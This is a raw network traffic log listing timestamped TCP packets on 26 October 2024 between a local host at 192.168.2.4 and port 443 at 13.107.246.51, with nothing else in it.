Oct 26, 2024 13:45:52.441531897 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.485384941 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.486373901 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.486399889 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.487041950 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.487049103 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.502388000 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.502966881 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.502979994 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.503577948 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.503582954 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.572043896 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.572206020 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.572284937 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.572583914 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.572583914 CEST	49968	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.572597027 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.572606087 CEST	443	49968	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.577066898 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.577110052 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.577233076 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.577512980 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.577527046 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.618546009 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.618619919 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.618694067 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.619035006 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.619050026 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.619066000 CEST	49969	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.619071960 CEST	443	49969	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.623228073 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.623261929 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.623374939 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.623646021 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.623658895 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.636749983 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.636919022 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.636984110 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.636989117 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.637038946 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.637336016 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.637347937 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.637367964 CEST	49970	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.637373924 CEST	443	49970	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.641313076 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.641347885 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.641446114 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.641685963 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.641699076 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.677263021 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.677874088 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.677898884 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.678369045 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.678374052 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.813570023 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.813700914 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.813790083 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.814081907 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.814104080 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.814116955 CEST	49971	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.814121962 CEST	443	49971	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.817884922 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.817938089 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.818021059 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.818284035 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.818300962 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.889431000 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.890185118 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.890202999 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:52.890955925 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:52.890963078 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.022515059 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.022583961 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.022663116 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.023041010 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.023060083 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.023072004 CEST	49972	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.023077011 CEST	443	49972	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.026830912 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.026937962 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.027051926 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.027229071 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.027266979 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.315263987 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.315851927 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.315875053 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.316375971 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.316381931 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.373449087 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.374141932 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.374154091 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.374828100 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.374831915 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.376342058 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.376703978 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.376717091 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.377264023 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.377269030 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.445530891 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.445637941 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.445763111 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.446108103 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.446127892 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.446141005 CEST	49973	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.446150064 CEST	443	49973	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.450144053 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.450180054 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.450294018 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.450517893 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.450534105 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.504848003 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.504916906 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.505044937 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.505462885 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.505491018 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.505503893 CEST	49974	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.505511045 CEST	443	49974	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.507354021 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.507430077 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.507514000 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.508641005 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.508641005 CEST	49975	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.508660078 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.508670092 CEST	443	49975	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.510801077 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.510853052 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.510945082 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.512490988 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.512541056 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.512620926 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.512784958 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.512806892 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.512952089 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.512975931 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.545371056 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.546205997 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.546257973 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.546989918 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.546997070 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.675793886 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.676314116 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.676403046 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.676472902 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.676493883 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.676505089 CEST	49976	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.676513910 CEST	443	49976	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.680326939 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.680385113 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.680495024 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.680784941 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.680798054 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.758068085 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.758848906 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.758892059 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.759407043 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.759416103 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.888864994 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.888936996 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.888993025 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.894764900 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.894814014 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.894850969 CEST	49977	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.894869089 CEST	443	49977	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.918761015 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.918808937 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:53.918872118 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.919795990 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:53.919807911 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.195493937 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.196199894 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.196234941 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.196744919 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.196751118 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.252012014 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.252690077 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.252717972 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.253345966 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.253353119 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.261631012 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.262142897 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.262181044 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.262732983 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.262739897 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.328927040 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.328960896 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.329021931 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.329104900 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.329147100 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.329447985 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.329472065 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.329489946 CEST	49978	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.329495907 CEST	443	49978	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.332899094 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.332950115 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.333041906 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.333220959 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.333234072 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.381568909 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.381603003 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.381669998 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.381716013 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.381750107 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.382057905 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.382071972 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.382082939 CEST	49980	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.382088900 CEST	443	49980	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.385917902 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.385970116 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.386090040 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.386253119 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.386265993 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.393838882 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.393913984 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.394001007 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.394217968 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.394259930 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.394294024 CEST	49979	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.394311905 CEST	443	49979	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.397349119 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.397383928 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.397459030 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.397608042 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.397619009 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.648711920 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.649435043 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.649444103 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.649996042 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.650000095 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.779922009 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.780770063 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.780797005 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.781296015 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.781305075 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.781400919 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.781478882 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.781536102 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.781682014 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.781687021 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.781702042 CEST	49981	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.781708002 CEST	443	49981	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.784825087 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.784851074 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:54.784928083 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.785068035 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:54.785079002 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.032820940 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.033242941 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.033299923 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.033314943 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.033373117 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.033442974 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.033467054 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.033482075 CEST	49982	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.033489943 CEST	443	49982	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.037075996 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.037115097 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.037201881 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.037378073 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.037389994 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.162755966 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.163480997 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.163500071 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.164093018 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.164788961 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.164796114 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.166497946 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.169338942 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.169352055 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.170139074 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.170142889 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.170444965 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.170465946 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.170806885 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.170815945 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.293745995 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.293824911 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.293908119 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.294262886 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.294277906 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.294289112 CEST	49984	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.294295073 CEST	443	49984	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.298219919 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.298274994 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.298382998 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.298602104 CEST	49988	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.298624039 CEST	443	49988	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.300164938 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.300235033 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.300297022 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.300424099 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.300442934 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.300466061 CEST	49985	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.300472021 CEST	443	49985	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.303227901 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.303260088 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.303355932 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.303524017 CEST	49989	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.303539038 CEST	443	49989	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.323455095 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.324861050 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.324970007 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.325006962 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.325030088 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.325042009 CEST	49983	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.325047970 CEST	443	49983	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.328536034 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.328592062 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.328696012 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.328879118 CEST	49990	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.328897953 CEST	443	49990	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.523583889 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.524241924 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.524271011 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.524753094 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.524763107 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.655097961 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.655141115 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.655205965 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.655277014 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.655344009 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.655729055 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.655754089 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.655770063 CEST	49986	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.655776024 CEST	443	49986	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.659991980 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.660043955 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.660145044 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.660430908 CEST	49991	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.660448074 CEST	443	49991	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.762478113 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.763098001 CEST	49987	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:55.763128042 CEST	443	49987	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:55.763781071 CEST	49987	443	192.168.2.4	13.107.246.51
